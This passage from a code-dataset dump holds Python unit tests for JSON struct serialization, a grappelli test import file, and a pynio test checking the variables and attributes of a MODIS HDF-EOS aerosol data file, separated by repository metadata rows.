string!","f33":0,"f34":0,"f35":1543146299848966000,"f36":"00000000-0000-0000-0000-000000000000","f37":"89e503f6-f0a7-11e8-9dde-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}}]}' # Create a new struct from the source JSON string struct1 = test.StructSet.from_json(json) # Serialize the struct to the JSON string json = struct1.to_json() # Check the serialized JSON size self.assertGreater(len(json), 0) # Deserialize the struct from the JSON string struct2 = test.StructSet.from_json(json) self.assertEqual(len(struct2.f1), 3) self.assertTrue(48 in struct2.f1) self.assertTrue(65 in struct2.f1) self.assertTrue(97 in struct2.f1) self.assertEqual(len(struct2.f2), 2) self.assertTrue(test.EnumSimple.ENUM_VALUE_1 in struct2.f2) self.assertTrue(test.EnumSimple.ENUM_VALUE_2 in struct2.f2) self.assertEqual(len(struct2.f3), 2) self.assertTrue((test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2) in struct2.f3) self.assertTrue((test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2 | test.FlagsSimple.FLAG_VALUE_3) in struct2.f3) self.assertEqual(len(struct2.f4), 2) s1 = test.StructSimple() s1.id = 48 self.assertTrue(s1 in struct2.f4) s2 = test.StructSimple() s2.id = 65 self.assertTrue(s2 in struct2.f4) def test_serialization_json_struct_map(self): # Define a source JSON string json = r'{"f1":{"10":48,"20":65},"f2":{"10":97,"20":null},"f3":{"10":"MDAw","20":"QUFB"},"f4":{"10":"YWFh","20":null},"f5":{"10":1,"20":2},"f6":{"10":1,"20":null},"f7":{"10":3,"20":7},"f8":{"10":3,"20":null},"f9":{"10":{"id":48,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146345803483000,"f36":"00000000-0000-0000-0000-000000000000","f37":"a549215e-f0a7-11e8-90f6-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}},"20":{"id":65,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146345804184000,"f36":"00000000-0000-0000-0000-000000000000","f37":"a54942ce-f0a7-11e8-90f6-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}}},"f10":{"10":{"id":48,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146345803483000,"f36":"00000000-0000-0000-0000-000000000000","f37":"a549215e-f0a7-11e8-90f6-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}},"20":null}}' # Create a new struct from the source JSON string struct1 = test.StructMap.from_json(json) # Serialize the struct to the JSON string json = struct1.to_json() # Check the serialized JSON size self.assertGreater(len(json), 0) # Deserialize the struct from the JSON string struct2 = test.StructMap.from_json(json) self.assertEqual(len(struct2.f1), 2) self.assertEqual(struct2.f1["10"], 48) self.assertEqual(struct2.f1["20"], 65) self.assertEqual(len(struct2.f2), 2) self.assertEqual(struct2.f2["10"], 97) self.assertEqual(struct2.f2["20"], None) self.assertEqual(len(struct2.f3), 2) self.assertEqual(len(struct2.f3["10"]), 3) self.assertEqual(len(struct2.f3["20"]), 3) self.assertEqual(len(struct2.f4), 2) self.assertEqual(len(struct2.f4["10"]), 3) self.assertEqual(struct2.f4["20"], None) self.assertEqual(len(struct2.f5), 2) self.assertEqual(struct2.f5["10"], test.EnumSimple.ENUM_VALUE_1) self.assertEqual(struct2.f5["20"], test.EnumSimple.ENUM_VALUE_2) self.assertEqual(len(struct2.f6), 2) self.assertEqual(struct2.f6["10"], test.EnumSimple.ENUM_VALUE_1) self.assertEqual(struct2.f6["20"], None) self.assertEqual(len(struct2.f7), 2) self.assertEqual(struct2.f7["10"], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2) self.assertEqual(struct2.f7["20"], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2 | test.FlagsSimple.FLAG_VALUE_3) self.assertEqual(len(struct2.f8), 2) self.assertEqual(struct2.f8["10"], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2) self.assertEqual(struct2.f8["20"], None) self.assertEqual(len(struct2.f9), 2) self.assertEqual(struct2.f9["10"].id, 48) self.assertEqual(struct2.f9["20"].id, 65) self.assertEqual(len(struct2.f10), 2) self.assertEqual(struct2.f10["10"].id, 48) self.assertEqual(struct2.f10["20"], None) def test_serialization_json_struct_hash(self): # Define a source JSON string json = r'{"f1":{"10":48,"20":65},"f2":{"10":97,"20":null},"f3":{"10":"MDAw","20":"QUFB"},"f4":{"10":"YWFh","20":null},"f5":{"10":1,"20":2},"f6":{"10":1,"20":null},"f7":{"10":3,"20":7},"f8":{"10":3,"20":null},"f9":{"10":{"id":48,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146381450913000,"f36":"00000000-0000-0000-0000-000000000000","f37":"ba8885d2-f0a7-11e8-81fa-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}},"20":{"id":65,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146381452825000,"f36":"00000000-0000-0000-0000-000000000000","f37":"ba88ced4-f0a7-11e8-81fa-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}}},"f10":{"10":{"id":48,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146381450913000,"f36":"00000000-0000-0000-0000-000000000000","f37":"ba8885d2-f0a7-11e8-81fa-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}},"20":null}}' # Create a new struct from the source JSON string struct1 = test.StructHash.from_json(json) # Serialize the struct to the JSON string json = struct1.to_json() # Check the serialized JSON size self.assertGreater(len(json), 0) # Deserialize the struct from the JSON string struct2 = test.StructHash.from_json(json) self.assertEqual(len(struct2.f1), 2) self.assertEqual(struct2.f1["10"], 48) self.assertEqual(struct2.f1["20"], 65) self.assertEqual(len(struct2.f2), 2) self.assertEqual(struct2.f2["10"], 97) self.assertEqual(struct2.f2["20"], None) self.assertEqual(len(struct2.f3), 2) self.assertEqual(len(struct2.f3["10"]), 3) self.assertEqual(len(struct2.f3["20"]), 3) self.assertEqual(len(struct2.f4), 2) self.assertEqual(len(struct2.f4["10"]), 3) self.assertEqual(struct2.f4["20"], None) self.assertEqual(len(struct2.f5), 2) self.assertEqual(struct2.f5["10"], test.EnumSimple.ENUM_VALUE_1) self.assertEqual(struct2.f5["20"], test.EnumSimple.ENUM_VALUE_2) self.assertEqual(len(struct2.f6), 2) self.assertEqual(struct2.f6["10"], test.EnumSimple.ENUM_VALUE_1) self.assertEqual(struct2.f6["20"], None) self.assertEqual(len(struct2.f7), 2) self.assertEqual(struct2.f7["10"], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2) self.assertEqual(struct2.f7["20"], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2 | test.FlagsSimple.FLAG_VALUE_3) self.assertEqual(len(struct2.f8), 2) self.assertEqual(struct2.f8["10"], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2) self.assertEqual(struct2.f8["20"], None) self.assertEqual(len(struct2.f9), 2) self.assertEqual(struct2.f9["10"].id, 48) self.assertEqual(struct2.f9["20"].id, 65) self.assertEqual(len(struct2.f10), 2) self.assertEqual(struct2.f10["10"].id, 48) self.assertEqual(struct2.f10["20"], None)

69.289157

4,381

0.65706

9,482

69,012

4.76081

0.036807

0.233596

0.289487

0.05702

0.946657

0.917771

0.910084

0.893602

0.891387

0.889881

0

0.221156

0.140439

69,012

995

4,382

69.358794

0.539835

0.030473

0

0.858633

0

0.011587

0.33448

0.328063

0

0.004128

0

0.922364

1

0.012746

false

0

0.008111

0

0.022016

0

null

1

0

1

0

1

0

1

0

1

0

null

0

1

0

12

d1bd081f05c2bdd6057d4c73879864de86744445

105

py

Python

static/tests/__init__.py

jared-wallace/jared-wallace.com

af58635d18f394906b6a0125eb4573f89546d7d5

[ "WTFPL" ]

null

static/tests/__init__.py

jared-wallace/jared-wallace.com

af58635d18f394906b6a0125eb4573f89546d7d5

[ "WTFPL" ]

null

static/tests/__init__.py

jared-wallace/jared-wallace.com

af58635d18f394906b6a0125eb4573f89546d7d5

[ "WTFPL" ]

null

from grappelli.tests.test_related import RelatedTests from grappelli.tests.test_switch import SwitchTests

52.5

53

0.895238

14

105

6.571429

0.642857

0.282609

0.391304

0.478261

0

0.066667

105

2

54

52.5

0.938776

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

d1d3b38f60f369d00e32a442fd5a53ae17fc9d9c

69,100

py

Python

test/test_hdfeos.py

briandobbins/pynio

1dd5fc0fc133f2b8d329ae68929bd3c6c1c5fa7c

[ "Apache-2.0" ]

null

test/test_hdfeos.py

briandobbins/pynio

1dd5fc0fc133f2b8d329ae68929bd3c6c1c5fa7c

[ "Apache-2.0" ]

null

test/test_hdfeos.py

briandobbins/pynio

1dd5fc0fc133f2b8d329ae68929bd3c6c1c5fa7c

[ "Apache-2.0" ]

null

import Nio import numpy as np import numpy.testing as nt import os import unittest as ut file_to_test = '../ncarg/data/hdfeos/MOD04_L2.A2001066.0000.004.2003078090622.hdfeos' class Test(ut.TestCase): def setUp(self): self.f = Nio.open_file(os.path.realpath(os.path.join(os.path.dirname(__file__), file_to_test))) def test_hdfeos_variables(self): nt.assert_equal(set(self.f.variables.keys()), set(file_variables)) def test_hdfeos_attributes(self): nt.assert_equal(self.f.attributes, file_attributes) def test_hdfeos_dimensions(self): nt.assert_equal(self.f.dimensions, file_dimensions) def test_hdfeos_var_shapes(self): for var in self.f.variables.keys(): v = self.f.variables[var] nt.assert_equal(v.shape, var_shapes[var]) def test_hdfeos_var_attributes(self): for var in self.f.variables.keys(): v = self.f.variables[var] nt.assert_equal(v.attributes, var_attributes[var]) def test_hdfeos_var_dimensions(self): for var in self.f.variables.keys(): v = self.f.variables[var] nt.assert_equal(v.dimensions, var_dimensions[var]) def test_hdfeos_var_coordinates(self): for var in self.f.variables.keys(): v = self.f.variables[var] nt.assert_equal(get_coord_dims(v), var_coordinates[var]) def test_hdfeos_var_values(self): for var in var_values.keys(): v = self.f.variables[var] val = v.get_value() if np.ma.is_masked(val.min()) or np.ma.is_masked(var_values[var][0]): nt.assert_equal(np.ma.is_masked(val.min()), np.ma.is_masked(var_values[var][0])) else: nt.assert_almost_equal(val.min(), var_values[var][0]) if np.ma.is_masked(val.max()) or np.ma.is_masked(var_values[var][1]): nt.assert_equal(np.ma.is_masked(val.max()), np.ma.is_masked(var_values[var][1])) else: nt.assert_almost_equal(val.max(), var_values[var][1]) if np.ma.is_masked(val.mean()) or np.ma.is_masked(var_values[var][2]): nt.assert_equal(np.ma.is_masked(val.mean()), np.ma.is_masked(var_values[var][2])) else: nt.assert_almost_equal(val.mean(), var_values[var][2]) nt.assert_almost_equal(np.ma.count_masked(val), var_values[var][3]) file_attributes = {} file_dimensions = {'Cell_Along_Swath_mod04': 203, 'Cell_Across_Swath_mod04': 135, 'Solution_1_Land_mod04': 2, 'Solution_2_Land_mod04': 3, 'Solution_3_Land_mod04': 3, 'Solution_Ocean_mod04': 2, 'Solution_Index_mod04': 9, 'MODIS_Band_Land_mod04': 5, 'MODIS_Band_Ocean_mod04': 7, 'QA_Byte_Land_mod04': 5, 'QA_Byte_Ocean_mod04': 5} file_variables = ['MODIS_Band_Ocean_mod04', 'MODIS_Band_Land_mod04', 'Solution_Index_mod04', 'Solution_Ocean_mod04', 'Solution_3_Land_mod04', 'Solution_2_Land_mod04', 'Solution_1_Land_mod04', 'Quality_Assurance_Ocean_mod04', 'STD_Reflectance_Ocean_mod04', 'Mean_Reflectance_Ocean_mod04', 'Number_Pixels_Used_Ocean_mod04', 'Cloud_Fraction_Ocean_mod04', 'Optical_Depth_by_models_ocean_mod04', 'Optical_Depth_Ratio_Small_Ocean_0_86micron_mod04', 'Least_Squares_Error_Ocean_mod04', 'Transmitted_Flux_Average_Ocean_mod04', 'Transmitted_Flux_Best_Ocean_mod04', 'Reflected_Flux_Average_Ocean_mod04', 'Reflected_Flux_Best_Ocean_mod04', 'Angstrom_Exponent_2_Ocean_mod04', 'Angstrom_Exponent_1_Ocean_mod04', 'Backscattering_Ratio_Average_Ocean_mod04', 'Backscattering_Ratio_Best_Ocean_mod04', 'Asymmetry_Factor_Average_Ocean_mod04', 'Asymmetry_Factor_Best_Ocean_mod04', 'Cloud_Condensation_Nuclei_Ocean_mod04', 'Effective_Radius_Ocean_mod04', 'Mass_Concentration_Ocean_mod04', 'Optical_Depth_Large_Average_Ocean_mod04', 'Optical_Depth_Large_Best_Ocean_mod04', 'Optical_Depth_Small_Average_Ocean_mod04', 'Optical_Depth_Small_Best_Ocean_mod04', 'Effective_Optical_Depth_Average_Ocean_mod04', 'Effective_Optical_Depth_Best_Ocean_mod04', 'Solution_Index_Ocean_Large_mod04', 'Solution_Index_Ocean_Small_mod04', 'Quality_Assurance_Crit_Ref_Land_mod04', 'Quality_Assurance_Land_mod04', 'STD_Reflectance_Land_mod04', 'Mean_Reflectance_Land_mod04', 'Number_Pixels_Percentile_Land_mod04', 'Optical_Depth_Ratio_Small_Land_mod04', 'Cloud_Fraction_Land_mod04', 'Transmitted_Flux_Land_mod04', 'Reflected_Flux_Land_mod04', 'Angstrom_Exponent_Land_mod04', 'Mass_Concentration_Land_mod04', 'Estimated_Uncertainty_Land_mod04', 'Corrected_Optical_Depth_Land_mod04', 'Continental_Optical_Depth_Land_mod04', 'Aerosol_Type_Land_mod04', 'QualityWeight_Critical_Reflectance_Land_mod04', 'QualityWeight_Path_Radiance_Land_mod04', 'Error_Critical_Reflectance_Land_mod04', 'Critical_Reflectance_Land_mod04', 'Error_Path_Radiance_Land_mod04', 'Path_Radiance_Land_mod04', 'Standard_Deviation_Reflectance_Land_All_mod04', 'Mean_Reflectance_Land_All_mod04', 'Reflected_Flux_Land_And_Ocean_mod04', 'Optical_Depth_Ratio_Small_Land_And_Ocean_mod04', 'Optical_Depth_Land_And_Ocean_mod04', 'Scattering_Angle_mod04', 'Cloud_Mask_QA_mod04', 'Sensor_Azimuth_mod04', 'Sensor_Zenith_mod04', 'Solar_Azimuth_mod04', 'Solar_Zenith_mod04', 'Scan_Start_Time_mod04', 'Latitude_mod04', 'Longitude_mod04'] var_attributes = {'MODIS_Band_Ocean_mod04': {'hdfeos_name': 'MODIS_Band_Ocean'}, 'MODIS_Band_Land_mod04': {'hdfeos_name': 'MODIS_Band_Land'}, 'Solution_Index_mod04': {'hdfeos_name': 'Solution_Index'}, 'Solution_Ocean_mod04': {'hdfeos_name': 'Solution_Ocean'}, 'Solution_3_Land_mod04': {'hdfeos_name': 'Solution_3_Land'}, 'Solution_2_Land_mod04': {'hdfeos_name': 'Solution_2_Land'}, 'Solution_1_Land_mod04': {'hdfeos_name': 'Solution_1_Land'}, 'Quality_Assurance_Ocean_mod04': {'hdfeos_name': 'Quality_Assurance_Ocean', '_FillValue': np.array([0], dtype=np.int8), 'valid_range': np.array([ 0, -1], dtype=np.int8), 'Geolocation_Pointer': 'Internal geolocation arrays', 'description': '(see MODIS atmosphere QA plan for details)', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Run time QA flags'}, 'STD_Reflectance_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'STD_Reflectance_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 20000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([9.999999747378751e-05]), 'units': 'None', 'long_name': 'Standard devaition of reflectances at 7 bands'}, 'Mean_Reflectance_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Mean_Reflectance_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 10000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([9.999999747378751e-05]), 'units': 'None', 'long_name': 'Mean reflectances at 7 bands'}, 'Number_Pixels_Used_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Number_Pixels_Used_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 1, 400], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Number of Pixels used for 0.55 micron'}, 'Cloud_Fraction_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Cloud_Fraction_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 100], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Cloud_Fraction in percentage'}, 'Optical_Depth_by_models_ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Optical_Depth_by_models_ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 5000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'optical depth for small and large modes placed in model index'}, 'Optical_Depth_Ratio_Small_Ocean_0_86micron_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Optical_Depth_Ratio_Small_Ocean_0.86micron', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Ratio of small mode optical depth at 0.86 micron'}, 'Least_Squares_Error_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Least_Squares_Error_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Least square error estimated'}, 'Transmitted_Flux_Average_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Transmitted_Flux_Average_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Normalized Transmitted_flux at 7 bands of average solution'}, 'Transmitted_Flux_Best_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Transmitted_Flux_Best_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Normalized Transmitted_flux at 7 bands of best solution'}, 'Reflected_Flux_Average_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Reflected_Flux_Average_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Normalized reflected_flux at 7 bands for average solution'}, 'Reflected_Flux_Best_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Reflected_Flux_Best_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Normalized reflected_flux at 7 bands for best solution'}, 'Angstrom_Exponent_2_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Angstrom_Exponent_2_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([-500, 3000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Angstrom exponent for 0.865 and 2.130 micron'}, 'Angstrom_Exponent_1_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Angstrom_Exponent_1_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([-500, 3000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Angstrom Exponent for 0.550 and 0.865 miron'}, 'Backscattering_Ratio_Average_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Backscattering_Ratio_Average_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 3000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Backscattering ratio at 7 bands for average solution'}, 'Backscattering_Ratio_Best_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Backscattering_Ratio_Best_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 3000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Backscattering ratio at 7 bands for best solution'}, 'Asymmetry_Factor_Average_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 